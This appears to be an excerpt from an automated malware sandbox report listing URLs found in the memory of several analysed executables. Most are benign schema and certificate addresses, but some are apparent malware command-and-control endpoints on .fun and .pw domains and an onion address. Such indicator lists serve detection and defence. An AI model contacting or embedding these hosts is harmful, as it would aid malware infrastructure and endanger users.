Source: 826E.exe, 00000008.00000003.2913568147.00000000005D1000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000002.2919863680.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dayfarrichjwclik.fun/piQ
Source: 933A.exe, 0000000D.00000003.2356844211.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dayfarrichjwclik.fun:80/api
Source: C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://devlog.gregarius.net/docs/ua)Links
Source: 933A.exe, 0000000D.00000002.3033448721.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/
Source: 933A.exe, 0000000D.00000002.3033448721.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/3~
Source: 826E.exe, 00000008.00000002.2919863680.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.00000000005FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/8-
Source: 826E.exe, 00000008.00000002.2919863680.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.00000000005FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/P
Source: 933A.exe, 0000000D.00000002.3033448721.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/X
Source: 933A.exe, 0000000D.00000002.3033448721.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/Y
Source: 933A.exe, 0000000D.00000002.3033448721.0000000000C6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/api
Source: 826E.exe, 00000008.00000002.2919721623.00000000005D7000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2913568147.00000000005D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/api3
Source: 826E.exe, 00000008.00000002.2919721623.00000000005D7000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2913568147.00000000005D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/apiO
Source: 933A.exe, 0000000D.00000002.3033448721.0000000000C6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/apiY
Source: 933A.exe, 0000000D.00000002.3033448721.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/apijJ
Source: 933A.exe, 0000000D.00000002.3033448721.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/apiz
Source: 826E.exe, 00000008.00000002.2919863680.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.00000000005FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/b
Source: 826E.exe, 00000008.00000002.2919863680.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, 933A.exe, 0000000D.00000002.3033448721.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun/l
Source: 933A.exe, 0000000D.00000002.3033448721.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun:80/api
Source: 933A.exe, 0000000D.00000002.3033448721.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://diagramfiremonkeyowwa.fun:80/apiTML
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://https://_bad_pdb_file.pdb
Source: C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://invalidlog.txtlookup
Source: PRingTone.exe, 00000027.00000000.2239214789.00000000004D1000.00000002.00000001.01000000.00000017.sdmp, PRingTone.exe, 0000002A.00000000.2244871304.00000000004D1000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: http://ip-soft.by
Source: C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://localhost:3433/https://duniadekho.baridna:
Source: 826E.exe, 00000008.00000003.2913568147.00000000005D1000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000002.2919863680.00000000005E4000.00000004.00000020.00020000.00000000.sdmp, 933A.exe, 0000000D.00000002.3033448721.0000000000C6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://neighborhoodfeelsa.fun/
Source: 826E.exe, 00000008.00000003.2913568147.00000000005D1000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://neighborhoodfeelsa.fun/H
Source: 826E.exe, 00000008.00000002.2919863680.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.00000000005FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://neighborhoodfeelsa.fun/api
Source: 826E.exe, 00000008.00000002.2919863680.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.00000000005FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://neighborhoodfeelsa.fun/api$
Source: 933A.exe, 0000000D.00000002.3033448721.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://neighborhoodfeelsa.fun/apil
Source: 826E.exe, 00000008.00000002.2919863680.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.00000000005FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://neighborhoodfeelsa.fun/apilr
Source: 826E.exe, 00000008.00000003.2913568147.00000000005D1000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000002.2919863680.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://neighborhoodfeelsa.fun/v
Source: explorer.exe, 00000001.00000000.1691646439.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1693759664.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: is-H37D9.tmp.34.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: is-H37D9.tmp.34.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: explorer.exe, 00000001.00000000.1691646439.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: is-H37D9.tmp.34.dr	String found in binary or memory: http://ocsps.ssl.com0
Source: is-H37D9.tmp.34.dr	String found in binary or memory: http://ocsps.ssl.com0Q
Source: C1FD.exe, 00000011.00000002.2220289912.000000000C070000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2220289912.000000000C01A000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4118997725.000000000C0A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4115076867.000000000C00E000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4115076867.000000000C01A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onion
Source: C1FD.exe, 0000001B.00000002.4118997725.000000000C12A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionPROCESSOR_IDENTIFIER=Intel64
Source: C1FD.exe, 0000001B.00000002.4118997725.000000000C0A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4115076867.000000000C00E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS-1-5-21-2246122658-3693405117-
Source: C1FD.exe, 00000011.00000002.2220289912.000000000C01A000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4118997725.000000000C0A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4115076867.000000000C00E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionhttp://petas4zb2nd4xmyo2bozkq3g
Source: 933A.exe, 0000000D.00000002.3033448721.0000000000C6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://reviveincapablewew.pw/G
Source: 826E.exe, 00000008.00000002.2919721623.00000000005D7000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2913568147.00000000005D1000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000002.2919415852.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, 933A.exe, 0000000D.00000002.3033276994.0000000000C0E000.00000004.00000020.00020000.00000000.sdmp, 933A.exe, 0000000D.00000002.3033448721.0000000000C6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://reviveincapablewew.pw/api
Source: 933A.exe, 0000000D.00000002.3033276994.0000000000C0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://reviveincapablewew.pw/apie
Source: 826E.exe, 00000008.00000002.2919721623.00000000005D7000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2913568147.00000000005D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://reviveincapablewew.pw/apik
Source: explorer.exe, 00000001.00000000.1692319877.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1694436289.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1692899431.0000000008720000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rmX
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
